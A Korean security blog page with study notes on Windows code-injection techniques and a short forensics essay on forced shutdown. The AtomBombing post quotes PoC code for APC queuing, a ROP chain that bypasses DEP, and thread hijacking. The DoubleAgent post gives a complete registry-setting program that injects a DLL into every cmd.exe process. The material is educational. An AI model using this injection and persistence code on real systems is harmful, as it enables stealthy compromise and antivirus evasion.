no image
Atombombing 기법
OverviewAtomBombing 에 대해 개인적으로 공부하면서 정리한 내용이다. 주로 참고한 자료는 PoC 코드와 원문 블로그 내용이다. 원문 블로그에서는 Stage 를 3개로 나누었지만, 필자의 경우 개인적인 학습에 의미를 두며 4단계로 나누었다. 혹시 읽는 분은 참고바란다. 전체적인 동작은 아래 흐름도와 같다. 1. 악성 프로세스는 대상 프로세스에서 실행 시킬 ShellCode 를 Atom Table 에 추가 2. 대상 프로세스가 Atom Table 로부터 ShellCode 를 가지고 오게 하도록 APC 를 사용 3. APC 를 통해 조작된 대상 프로세스는 ShellCode 를 가지고 온 뒤 DEP 후회를 위한 ROP Chain 사용 대상 프로세스에 개입하기 위해 주로 사용하는 API 는 아래와 ..
2017.05.28
no image
DoubleAgent 공격
개요최근 Cybellum 에서는 대다수의 안티바이러스 제품에 적용되는 Zero-Day 취약점 "Double Agent" 를 발표. 해당 공격의 아래의 기능을 사용한 공격* MS의 개발자 검증도구인 "Microsoft Application Verifier" 을 사용* 본래 목적은 런타임 검증도구로 오류를 신속하게 감지 및 수정할 수 있는 용도로 사용* Double Agent 공격의 경우 이를 통해 원하는 DLL 을 Injection 공격 가능 대상* 모든 버전의 Windows (Windows XP to Windows 10)* 모든 Windows architecture (x86 and x64)* 모든 Windows 사용자 (SYSTEM/Admin/etc.)* 모든 대상 프로세스 (OS/Anti-Virus/e..
2017.03.28
no image
Pulling the Plug
서론이번 포스팅에서 다루고자 하는 주제는 바로 "Pulling the Plug" 이다. 단어 그대로 연결되어 있는 플러그를 뽑는다는 것으로 주로 장치의 강제 종료를 의미한다. PC 나 핸드폰 등 강제로 전원이나 배터리를 분리하여 종료시킨적이 한번 쯤은 있을 것이다. 필자의 경우 핸드폰에 대해서는 잘 모르니 PC 에 한해서만 이야기 해보고자 한다. 그렇다면 이 강제 종료에 대해 무슨 생각을 할 수 있기에 포스팅까지 할까? 사실 별거 없다. 당연히 PC 에 무리가 간다는 것쯤이야 모두가 알고있다. 하지만 약간의 악성코드와 포렌식 측면의 고려 사항을 추가하면 고민해볼 가치는 있다고 생각한다. 필자도 포렌식에 대해서는 얕은 지식만 가지고 있어 깊이 다루기는 어렵지만 알고 있는 지식에 한해 이 주제에 대해 이야기..
2017.03.22
no image
암호학 기초 개념
개요최근 끊임 없이 랜섬웨어로 인한 피해가 지속적으로 나타나며 랜섬웨어는 더 이상 악성코드와 관련 있는 사람들만의 관심사가 아니다. 랜섬웨어로 인한 피해를 일반 사용자뿐만 아니라 기업 등에서도 나타나고 있어 주의가 필요하다. 본 문서에서는 랜섬웨어를 이해하기 위한 기초 지식인 암호학에 대하여 개략적으로 다루고자 한다. 암호학에 대해 하나도 모르는 필자로서 쓴 글이기에 깊은 내용보다는 쉽게 이해하는 것을 목표로 할 것이다. 암호학 암호학은 정보를 보호하기 위한 언어학적 및 수학적 방법론을 다루는 학문으로 수학을 중심으로 컴퓨터, 통신 등 여러 학문 분야에서 공동으로 연구, 개발되고 있다. 암호학은 쉽게 평문 메시지를 변환하여 암호문을 만드는 암호화 과정과, 반대로 암호문을 다시 평문으로 변환하는 복호화 과..
2016.11.23
no image
Memory Detection(메모리 진단)
1. Introdution특정 악성코드 파일을 찾고자 할 때 우리가 사용할 수 있는 방법은 각 파일의 HASH 값을 비교한다거나 특정 바이너리가 그 파일에 포함되어 있는지 확인하는 등의 방법이 있다. 그렇다면 어떤 악성코드가 다른 정상적인 프로세스에 인젝션하여 동작하는 경우에는 어떻게 진단해야 할까? 파일로 존재하는 악성코드는 파일의 바이너리를 비교하여 쉽게 찾을 수가 있을 것이다. 하지만 파일의 형태가 아닌 프로세스로 메모리에 존재하는 경우는 위와 같은 방법으로 접근할 수 없을 것이다. 위 경우가 실제로 존재할까라고 생각할 수 있지만, 인젝션 방식을 사용하는 악성코드가 꽤 많이 존재한다. 물론 explorer.exe 나 notepa.exe 와 같이 특정 프로세스에만 인젝션 한다면 상대적으로 처리가 쉬워..
2016.09.26
[C & C++] Memory Detection - 메모리 진단
메모리에서 특정 코드로 시작하는 스레드를 찾는 코드이다. 주로 코드 인젝션을 통해 다른 프로세스에 코드가 인젝션 되었는지 확인할 때 사용하면 된다.1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495#include #include #include #define ThreadQuerySetWin32StartAddress 9 using namespace std;typedef NTSTATUS(WINAPI *NtQueryInformationThr..
2016.09.24
no image
[Malware] MadAngel 악성코드 분석
1. 개요악성코드는 여러 분류로 나누어 볼 수가 있다. 이 중 일반 사용자의 입장에서 ‘악성코드’ 라는 단어보다 친숙한 ‘바이러스’ 가 있다. 사실 필자도 보안을 공부하기 이전에는 ‘악성코드’ 라는 단어는 아예 들어보지 못했고, 대신 ‘바이러스’ 라는 단어로 모든 악성코드를 지칭했었다. 바이러스는 악성코드 분류의 한 종류로 ‘스스로를 복제하여 악의적 목적을 수행하는 악성 소프트웨어(Wiki)’ 라는 의미를 가지고 있다. 컴퓨터 바이러스가 아닌 우리가 알고 있는 메르스(MERS)나 감기와 유사하다. 바이러스에 감염된 사람으로부터 다른 사람도 감염시키듯이, 컴퓨터 바이러스는 감염된 파일을 실행시키면 다른 파일을 감염시킨다.컴퓨터 바이러스는 동작 방식에 따라 차이가 있겠지만, 일반적으로 악의적인 코드를 파일에..
2016.09.20
[C & C++] BasicDLL - 기본적인 DLL 제작
아주 기초적인 DLL 파일로 지정된 경로(코드에선 Kali\Dekstop)에 아무런 내용이 없는 txt 파일을 만드는 코드이다.아래 코드는 DLL 을 로드하기 위한 EXE 파일의 코드이다.
2016.09.05

Atombombing 기법

Kail-KM
|2017. 5. 28. 09:56

Overview


AtomBombing 에 대해 개인적으로 공부하면서 정리한 내용이다. 주로 참고한 자료는 PoC 코드와 원문 블로그 내용이다. 원문 블로그에서는 Stage 를 3개로 나누었지만, 필자의 경우 개인적인 학습에 의미를 두며 4단계로 나누었다. 혹시 읽는 분은 참고바란다.


전체적인 동작은 아래 흐름도와 같다.


1. 악성 프로세스는 대상 프로세스에서 실행 시킬 ShellCode Atom Table 추가

2. 대상 프로세스가 Atom Table 로부터 ShellCode 가지고 오게 하도록 APC 사용

3. APC 통해 조작된 대상 프로세스는 ShellCode 가지고 DEP 후회를 위한 ROP Chain 사용



대상 프로세스에 개입하기 위해 주로 사용하는 API 아래와 같다.


NTSTAT NtQueueApcThread(

   _In_ HANDLE                   ThreadHandle,

   _In_ PIO_APC_ROUTINE      ApcRoutine,

   _In_ PVOID                      ApcRoutineContext OPTIONAL,

   _In_ PIO_STATUS_BLOCK     ApcStatusBlock OPTIONAL,

   _In_ ULONG                     ApcReserved OPTIONAL

);

DWORD WINAPI QueueUserAPC(

   _In_ PAPCFUNC           pfnAPC,

   _In_ ULONG_PTR          hThread,

   _In_ ULONG_PTR          dwData

);


해당 API 가 사용되는 예는 아래와 같다.

// NtQueueApcThread

eReturn = main_NtQueueApcThreadWrapper(hRemoteThread, pfnWaitForSingleObjectEx, hWaitHandle, (PVOID)dwWaitMilliseconds, (PVOID)bWaitAlertable);

ESTATUS main_NtQueueApcThreadWrapper(HANDLE hThread, PKNORMAL_ROUTINE pfnApcRoutine, PVOID pvArg1, PVOID pvArg2, PVOID pvArg3)

{

...

ntStatus = NtQueueApcThread(hThread, pfnApcRoutine, pvArg1, pvArg2, pvArg3);

...

}

// QueueUserApcThread

eReturn = main_QueueUserApcWrapperAndKeepAlertable(hThread, (PAPCFUNC)SetEvent, (ULONG_PTR)RemoteHandle);

ESTATUS main_QueueUserApcWrapperAndKeepAlertable(HANDLE hThread, PAPCFUNC pfnAPC, ULONG_PTR dwData)

{

...

dwErr = QueueUserAPC(pfnAPC, hThread, dwData);

...

}



Stage #1


악성 프로세스는 대상 프로세스에서 공격 스레드를 탐색한다. 주로 사용 되는 방식이 APC 임에 따라 대상 스레드는 Alertable 상태여야 한다.  Alertable 상태의 스레드는 아래와 같이 동작한다.

 

* APC Thread Queue 프로시저가 있는지 확인

* Queueing 프로시저가 있을 경우 해당 프로시저를 실행

* 프로시저를 완료   다시 Queueing 정보가 있는지 확인

* 과정을 반복



최종적으로 하나의 Alertable 상태의 Thread 핸들을 가지고 온다.


ESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread)

{

eReturn = main_EnumProcessThreads(hProcess, &phProcessThreadsHandles, &cbProcessThreadsHandlesSize, &dwNumberOfProcessThreads);

...

for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)

{

HANDLE hThread = phProcessThreadsHandles[dwIndex];

eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hThread, GetCurrentThread(), 5000, TRUE);

if (ESTATUS_FAILED(eReturn))

continue;

}

...

DWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000);

...

hAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0];

//If the thread is in an alertable state, keep it that way "forever".

eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hAlertableThread, GetCurrentThread(), INFINITE, TRUE);

*phAlertableThread = hAlertableThread;

...

}



Stage #2


NtQueueApcThread 통해 대상 프로세스가 GlobalGetAtomName 호출했다고 가정하자. 하지만 이를 통해 가지고 Buffer DEP 인해 실행 없는 상태이다. 이를 우회하기 위한 방법이 바로 ROP Chain 이다. 선언된 ROP Chain 다음과 같은 구조체로 나타낼 있다.


typedef struct _ROPCHAIN

{

// Return address of ntdll!ZwAllocateMemory

PVOID pvMemcpy;

 

// Params for ntdll!ZwAllocateMemory

HANDLE ZwAllocateMemoryhProcess;

PVOID ZwAllocateMemoryBaseAddress;

ULONG_PTR ZwAllocateMemoryZeroBits;

PSIZE_T ZwAllocateMemoryRegionSize;

ULONG ZwAllocateMemoryAllocationType;

ULONG ZwAllocateMemoryProtect;

 

// Return address of ntdll!memcpy

PVOID pvRetGadget;

 

// Params for ntdll!memcpy        

PVOID MemcpyDestination;

PVOID MemcpySource;

SIZE_T MemcpyLength;

} ROPCHAIN, *PROPCHAIN;



ROP Chain 구성은 아래와 같이 한다.


pvRemoteROPChainAddress = pvCodeCave;

pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);

pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);

pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;

eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);

 

ESTATUS main_BuildROPChain(PVOID pvROPLocation, PVOID pvShellcodeLocation, PROPCHAIN ptRopChain)

{

ROPCHAIN tRopChain = { 0 };

tRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();

tRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyDestination);

tRopChain.ZwAllocateMemoryZeroBits = NULL;

tRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyLength));

tRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;

tRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;

tRopChain.MemcpyDestination = (PVOID)0x00;

tRopChain.MemcpySource = pvShellcodeLocation;

tRopChain.MemcpyLength = sizeof(SHELLCODE);

eReturn = GetFunctionAddressFromDll(NTDLL, MEMCPY, &tRopChain.pvMemcpy);

 

// Find a ret instruction in order to finally jump to the

// newly allocated executable shellcode.

eReturn = main_FindRetGadget(&tRopChain.pvRetGadget);

*ptRopChain = tRopChain;

}


구성 ROP Chain 예시는 아래와 같다.

[출처 - Reversenote]


ROP Chain 구성해주는 이유는 위에서 언급한 바와 같이 DEP 우회하기 위함이다. 우 ZwAllocateVirtualMemory() 통해 실행 권한이 있는 메모리를 할당할 것이며, AtomTable 에서 가지고 ShellCode memcpy 사용하여 새로 할당한 메모리로 복사할 것이다


ROP Chain 할당할 대상 메모리 공간은 아래와 같이 구한다. PoC 코드에서는 KernelBase.dll Data 섹션 부분을 지정하고 있다.

ESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave)

{

PIMAGE_SECTION_HEADER ptSectionHeader = NULL;

PVOID pvCodeCave = NULL;

HMODULE hNtDll = NULL;

 

hNtDll = GetModuleHandleA("kernelbase.dll");

eReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader);

 

pvCodeCave = (PVOID)((DWORD) hNtDll + ptSectionHeader->VirtualAddress + ptSectionHeader->SizeOfRawData);

*ppvCodeCave = pvCodeCave;

}

 

CoveCave 공격을 위한 pvRemoteROPChainAddress, pvRemoteContextAddress, pvRemoteGetProcAddressLoadLibraryAddress, pvRemoteShellcodeAddress 기록해준다.    




Stage #3


이제 공격을 위한 준비는 모두 완료되었다. 그렇다면 어떻게 대상 스레드가 ROP Chain 이용하여 새로운 메모리로 Shellcode 복사한 실행할 있을까. 이를 위해 사용되는 방법은 아래와 같이 EIP ESP 지정해주는 것이다.

bErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext);

if (ESTATUS_FAILED(eReturn))

{

goto lblCleanup;

}

 

tContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwAllocateVirtualMemory");

tContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;

tContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;

 

printf("[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\n\n\n");

eReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress);

 

ESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext)

{

PKNORMAL_ROUTINE pfnSetThreadContext = NULL;

ESTATUS eReturn = ESTATUS_INVALID;

GetFunctionAddressFromDll(NTDLL, NTSETCONTEXTTHREAD, (PVOID *) &pfnSetThreadContext);

 

main_NtQueueApcThreadWrapper(hThread, pfnSetThreadContext, GetCurrentThread(), (PVOID)ptContext, (PVOID)NULL);

}


참고

SetThreadContext 악성 프로세스에서 호출하지 않고, 대상 프로세스에 APC 굳이 넘겨주는 이유는 공격이 끝난 원래의 흐름으로 복구하도록 하기 위함이다. 이에 대해선 Stage #4 확인하자.

 

참고

SetThreadContext(hThread, lpContext) 사용 NtQueueApcThread 사용한다. 경우 전달 있는 인자의 개수가 차이가 있어, Stack 에는 문제가 발생한다. 하지만 EIP 강제로 바꾸는 순간부터 이미 원래의 상태로는 되돌아갈 없다. 따라서 이에 대해서는 신경쓰지 않는다.


대상 스레드의 EIP ZwAllocateVirtualMemory   지정 , Stack ROP Chain 가리키도록 하면 아래와 같은 모습으로 나타낼 있다.


[출처 - Reversenote]



ZwAllocateVirtualMemory 호출한 Return 주소는 memcpy 것이다. 그리고 Stack 아래와 같이 "RETN 18" 인해 0x18 만큼 POP 된다.


위와 같이 진행된 EIP memcpy , Stack 아래와 같이 나타내어진다. 여기서 memcpy 첫번째 인자는 ZwAllocateVirtualMemory 번째 인자가 가리키고 있었기 떄문에, 새로 할당된 주소가 담겨있을 것이다.

[출처 - Reversenote]


Memcpy 진행 EIP RET 가젯을 가리키고 있을 것이다. 결국 2번의 Return 실행되면서 새로 할당된 주소로 Return 하게 된다. 이제 새로 할당 곳으로 복사된 Shellcode 코드가 진행 것이다.

 

 

복사 Shellcode 실행 필요한 인자 등은 이미 위에서 할당해준 것을 이용한다.

pvRemoteROPChainAddress = pvCodeCave;

pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);

pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);

pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;

eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);



Stage #4


공격자가 원하는 코드가 진행된 , 사용 스레드는 원래의 동작을 수행하도록 되어야 한다. 그렇지 않으면 사용자가 이상징후를 감지할 있다강제로 바뀌어 버린 EIP, 이에 대해 어떻게 원래의 동작을 수행하게끔 있을까. 이를 알기 위해선 APC 함수를 분배하는 함수인 Ntdll!KiUserApcDispatcher() 대해 알아야 한다.


정상적인 경우 해당 함수는 아래와 같이 동작하며 아래 예에서는 CALL EAX 통해 Queueing APC 함수를 실행한다그리고 APC 함수를 완료한 기존에 EDI 담긴 CONTEXT NtContine 한다.


참고

여기서부터는 악성프로세스가 아닌 실행 Shellcode 에서 구현되어야 하는 부분이다.

 

하지만 NtQueueApcThread(...SetThreadContext…) 실행시키고자 하는 경우 그림의 CALL EAX 에서 Return 수는 없다. 하지만 만약 CALL EAX 하기 , EDI 저장된 CONTEXT 내용을 보존할 있다면, 이야기는 달라진다.

 

공격자는 EDI 담긴 CONTEXT 저장하기 위해, Shellcode 도입부에 아래와 같은 명령어를 사용한다.

 

void shellcode_entry()

{

...

__asm{

mov[ptContext], edi;

}

...

}

 

하지만 KiUserApcDispatcher 에서의 CALL EAX 부터, Sehllcode 도입부까지 EDI 변경되지 않음을 확실히 하기 위해 CONTEXT 구조체의 ContextFlags 설정하는 것이다. CONTEXT_CONTROL flag 설정되면 EIP, EBP, ESP, EFLAGS, SEGSS, SEGCS 제외한 다른 값은 수정되지 않는다.


 

도입부에서 CONTEXT 저장한 원하는 동작을 수행한다. 그리고 동작을 끝낸 , 이전에 저장한 CONTEXT 가지고 와서 NtContinue 호출해주면, 원래 저장된 CONTEXT 내용을 실행하게 것이다.

void shellcode_entry()

{

...

__asm{

mov[ptContext], edi;

}

...

pfnWinExec(pszCalcExe, 0);

pfnZwContinue(ptContext, 1);

}



Reference


Github, BreakingMalwareResearch : Atom-bombing

* https://github.com/BreakingMalwareResearch/atom-bombing

 

Blog, BreakingMalware : "AtomBombing: Brand New Code Injection for Windows"

* https://breakingmalware.com/injection-techniques/atombombing-brand-new-code-injection-for-windows/

 

Blog, Reversenote : "Atombombing - Stage 1 ~ 3"

* http://www.reversenote.info/atombombing-stage1/

 

MSDN, Windows API

* https://msdn.microsoft.com

 

Ntinternals, Undocumented : NTAPI

* https://undocumented.ntinternals.net/

 

Egloos, himskim : "APC 대하여" ; Alertable Thread 에 대해 쉽게 설명

* http://himskim.egloos.com/1053865

'Reversing > Theory' 카테고리의 다른 글

Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26

DoubleAgent 공격

Kail-KM
|2017. 3. 28. 00:04


최근 Cybellum 에서는 대다수의 안티바이러스 제품에 적용되는 Zero-Day 취약점 "Double Agent" 를 발표. 해당 공격의 아래의 기능을 사용한 공격

* MS의 개발자 검증도구인 "Microsoft Application Verifier" 을 사용

* 본래 목적은 런타임 검증도구로 오류를 신속하게 감지 및 수정할 수 있는 용도로 사용

* Double Agent 공격의 경우 이를 통해 원하는 DLL 을 Injection


공격 가능 대상

* 모든 버전의 Windows (Windows XP to Windows 10)

* 모든 Windows architecture (x86 and x64)

* 모든 Windows 사용자 (SYSTEM/Admin/etc.)

* 모든 대상 프로세스 (OS/Anti-Virus/etc.)


코드 인젝션

* 원하는 DLL 을 어떠한 프로세스에도 인젝션 할 수 있게 함

* DLL 인젝션은 프로세스 실행 과정 중 빠른 순위로 이루어짐 (Kernel32.dll 이나 TLS 보다 먼저)

* 발표 시점 기준으로 대부분의 Anti-Virus 에도 공격이 가능


지속성

* 재부팅 뿐만 아니라 업데이트/패치/재설치 등에 대해서도 지속 가능한 공격 기법

* 해당 프로그램 재설치에 대해서도 지속 가능


공격 요소

* Anti-Virus 와 차세대 Anti-Virus 공격 : 모든 자체 보호 매커니즘을 우회하면서 코드를 인젝션하여 Anti-Virus 제어

* 지속형 악성코드 설치 : 악성코드가 살아남아 재부팅 시에도 자동으로 실행되도록 설치

* 권한 하이재킹 : 신뢰할 수 있는 프로세스의 권한을 하이재킹하여 신뢰할 수 있는 프로세스로 위장

* 프로세스 동작 조작 : 백도어 설치나 암호화 알고리즘 약화 등의 조작

* 다른 사용자/세션 공격 : 다른 사용자와 세션(SYSTEM/Admin/etc.) 프로세스에 코드를 인젝션


대상 지정

해당 공격은 지정된 FULL 경로에 해당하는 프로그램이 아닌, 프로그램의 이름만으로 대상을 공격 가능

* 대상 이름을 cmd.exe 로 해놓은 경우 C\cmd.exe 와 C;\Windows\System32\cmd.exe 둘 다 실행 시 인젝션이 진행

* 대상 이름의 프로세스가 실행 될 때마다 매번 인젝션이 진행




코드


아래와 같이 레지스트리를 등록해야 함

RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));

RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &amp;dwGlobalFlag, sizeof(dwGlobalFlag)));


이때, 인젝션하고자 하는 DLL 이 다음의 경로에 위치 해야 함

C:\Windows\System32\[인젝션 할 DLL명].dll


레지스트리 경로와 값은 아래와 같다.

  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName

  VerifierDlls : Target.dll  , GlobalFlag : 0x100




공격


공격을 하기 위해 제작한 프로그램의 코드는 아래와 같다. 이때 Inject.dll 은 System32 에 존재해야 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <Windows.h>
#include <stdio.h>
 
int main()
{
    HKEY hKey;
    DWORD dwFlag = 0x100;
    LPCWSTR DllName = L"Inject.dll";
 
    /* Get Key Handle - target process name is cmd.exe */
    RegCreateKeyExW(
        HKEY_LOCAL_MACHINE,
        L"Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\cmd.exe",
        0NULL0, KEY_ALL_ACCESS, NULL&hKey,NULL);
 
    /* Set Registry */
    RegSetValueExW(
        hKey, L"VerifierDlls"0, REG_SZ, (LPBYTE)DllName, (lstrlenW(DllName) + 1* sizeof(WCHAR));    
    RegSetValueExW(
        hKey, L"GlobalFlag"0, REG_DWORD, (BYTE *)&dwFlag, sizeof(dwFlag));
        
    RegCloseKey(hKey);
    return 0;
}
cs


위 코드를 제작한 프로그램을 실행 후 대상 프로세스인 cmd.exe 를 실행하였다. 실행 결과 Inject.dll 이 인젝션 된 것을 확인할 수 있다. 한가지 자세히 볼 점은 notepad.exe (메모장) 의 이름도 cmd.exe 로 변경한 결과, 인젝션이 이루어진 것을 확인 할 수 있다. 이는 위에서 언급한바와 같이 대상 프로세스의 전체 경로가 아닌 프로세스 이름만 확인 후 공격이 이루어지기 때문이다.





참고자료


원본 자료에는 Anti-Virus 의 레지스트리 설정 보호 우회에 대해서도 나와있다. 궁금하면 해당 자료를 읽어보는 것을 추천한다.

* POC 코드 : https://github.com/Cybellum/DoubleAgent

* 원문 블로그 : https://cybellum.com/doubleagent-taking-full-control-antivirus/

* 상세 내용 : https://cybellum.com/doubleagentzero-day-code-injection-and-persistence-technique/

* 기타 참조 : http://kitrap08.blogspot.kr/2011/04/application-verifier.html


'Reversing > Theory' 카테고리의 다른 글

Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26
Assembly로 보는 코드, strcmp 문자열 비교  (0) 2016.08.08

Pulling the Plug

Kail-KM
|2017. 3. 22. 22:56

서론

이번 포스팅에서 다루고자 하는 주제는 바로 "Pulling the Plug" 이다. 단어 그대로 연결되어 있는 플러그를 뽑는다는 것으로 주로 장치의 강제 종료를 의미한다. PC 나 핸드폰 등 강제로 전원이나 배터리를 분리하여 종료시킨적이 한번 쯤은 있을 것이다. 필자의 경우 핸드폰에 대해서는 잘 모르니 PC 에 한해서만 이야기 해보고자 한다. 그렇다면 이 강제 종료에 대해 무슨 생각을 할 수 있기에 포스팅까지 할까? 


사실 별거 없다. 당연히 PC 에 무리가 간다는 것쯤이야 모두가 알고있다. 하지만 약간의 악성코드와 포렌식 측면의 고려 사항을 추가하면 고민해볼 가치는 있다고 생각한다. 필자도 포렌식에 대해서는 얕은 지식만 가지고 있어 깊이 다루기는 어렵지만 알고 있는 지식에 한해 이 주제에 대해 이야기해보고자 한다. 개인적인 의견이 다분하며 전문적인 내용은 거의 없으므로 시간이 많이 남는 사람들에 한해 가볍게 읽기를 권한다.





본론

정상적인 PC 종료 과정

PC 의 정상적인 종료 과정에는 무엇이 있는지 먼저 알아보자. Windows PC 의 종료 과정은 부팅과정 비하여 훨씬 간소화 된 절차를 거친다. 종료는 주로 CSRSS (Client/Server Runtime Subsystem) 및 WinLogon, 이 두 가지 구성 요소로 처리 된다. 대략적인 순서에 대해 알아보자.


Windows 에서 시스템 종료 명령을 내리면 ExitWindowsEx 함수를 호출한다. 이 함수는 RPC(원격 프로시저 호출) 을 사용하여 CSRSS 에게 시스템 종료 메시지를 보낸다. CSRSS가 이 메시지를 받은 후, WinLogon 에도 다른 메시지를 보낸다. 메시지를 받은 WinLogon 은 ExitWindowsEx 함수를 호출한 것이 자기 자신이 아님을 확인한다. 확인 후 자신이 호출한 것이 아니라면 사용자를 대신해 WinLogon 이 한번 더 ExitWindowsEx 함수를 호출한다.


두 번째 호출로 인해 CSRSS 에는 또 다시 RPC 를 통해 종료 메시지가 전달된다. 하지만 이번엔 위와 다르게 WinLogon 에서 ExitWindowsEx 함수가 호출된 것임을 확인하고 종료를 승인한다. 종료가 승인되면 CSRSS 는 각 사용자의 Interactive 세션에서 실행되는 모든 프로세스를 종료하는 작업을 수행한다. CSRSS 가 Interactive 사용자 세션에서 실행되고 있는 모든 프로세스를 종료할 때가 되면, 실행 중인 프로세스들의 셧다운 레벨 역순으로 종료 순서를 지정한다.


CSRSS 가 유저 세션 프로세스를 모두 종료한 뒤, shutdown 이 발생하고 있음을 세션 0에서 실행 중인 시스템 프로세스에 알린다. 이제 WinLogon 이 NtShutdownSystem 함수를 호출하며 제어를 반환한다. 그 다음 PoSetSystemPowerState 를 호출하며 아래의 작업을 진행한다.


 * I/O 관리자는 shutdown IRP 를 등록 된 모든 장치 드라이버에 보낸다. 이를 통해 각 장치 드라이버는 종료하기 전에 필수적으로 해야 할 작업을 수행한다. 

 * 메모리 관리자는 수정 된 메모리 페이지를 파일 데이터와 함께 디스크에 다시 기록한다.

 * 구성 관리자는 레지스트리 변경 사항을 각각의 하이브 파일에 기록하도록 한다.

 * I/O 관리자는 모든 파일 시스템 드라이버에 종료를 알려 변경 된 데이터 저장 등의 동작을 수행하도록 한다.

 * 마지막으로, 전원 관리자는 시스템 전원을 끄므로 shutdown 과정을 완료한다.


위와 같은 과정을 통해 정상적인 PC 의 종료를 확인할 수 있다.



비정상적인 PC 종료 과정

그렇다면 정상적인 종료가 아닌 '비정상적인' PC 종료에 대하여 간략히 알아보자. 우선 비정상적인 종료의 경우 위와 같이 특정 신호(API 호출이나 IRP 등)를 전달할 수 없게 된다. 특히 제목과 같이 전원 플러그를 바로 뽑아버린다면 정상적인 과정에서 볼 수 있던 Flush 작업이 모두 진행되지 않는다. 이로 인해 손실되는 데이터는 당연히 존재하게 된다.


PC 의 전원이 갑자기 차단되면 기존에 동작하고 있던 하드 디스크 표면에 물리적인 손상 또한 생길 수가 있다. 반복적인 손상은 하드디스크에 배드섹터를 유발 할 수 있으며, 이는 기능적인 측면 뿐만 아니라 여러 측면에서 불편함을 가지고 올 수 있다. 또한 위에서 언급했던 바와 같이 각 드라이버와 장치들이 수행하던 작업 데이터의 기록이 이루어지지 않는다. 변경 사항이 저장되지 않는다면 드라이버 동작 간에 문제를 유발할 수 있다. 그리고 개인적인 생각에서 문제가 될 수 있는 것은 사후 분석을 위한 데이터 수집 중 휘발성 데이터가 문제가 된다는 것이다. 우선 아래 RFC 3227 에서 언급하는 휘발성 데이터 순서를 보자.


 1. registers, cache
 2. routing table, arp cache,process table, kernel staistics, memory
 3. temporary file sysem
 4. disk
 5. remote logging and monitoring data that is relevant to the system in question
 6. physical configuration, network topology
 7. archival media 


휘발성 데이터의 경우 비휘발성 데이터보다 데이터 수집이 빠르게 이루어져야 한다. 그렇지 않다면 휘발성 데이터는 모두 손실될 수 있기 때문이다. 중요한 데이터는 디스크에 저장되어 있으니깐 상관없지 않느냐라고 할 수 있지만 메모리, 레지스터 등등 휘발성 데이터에도 중요한 데이터는 존재하고 있다. 


가령, Fileless 형태의 악성코드가 네트워크 연결을 통해 악성 실행 데이터를 받아와 메모리에서만 동작한다고 가정해보자. 동작 중인 악성코드에 의해 이상 징후를 느낀 사용자가 갑작스레 PC 를 종료하면 메모리에 있던 악성코드에 대한 정보는 모두 손실된다. 결국 사용자는 추후에도 어떤 악성코드에 의해 감염된 것인지 알기 어려울 것이다. 


이처럼 PC 를 강제 종료하는 것을 추천하는 경우는 결코 많지 않을 것이다.



결론

본론을 통해 PC 의 정상적인 종료 과정과, 그렇지 않은 경우에 나타날 수 있는 상황에 대하여 알아보았다. 사실 본론은 매우 편파적으로 'PC 를 강제 종료하면 안된다.' 라는 입장으로 쓰였다. 이렇게 서술한 이유는 모두가 알다시피 일반적인 상황에서는 PC 를 강제종료하지 않아야 한다는 것을 알고 있기 때문이다.


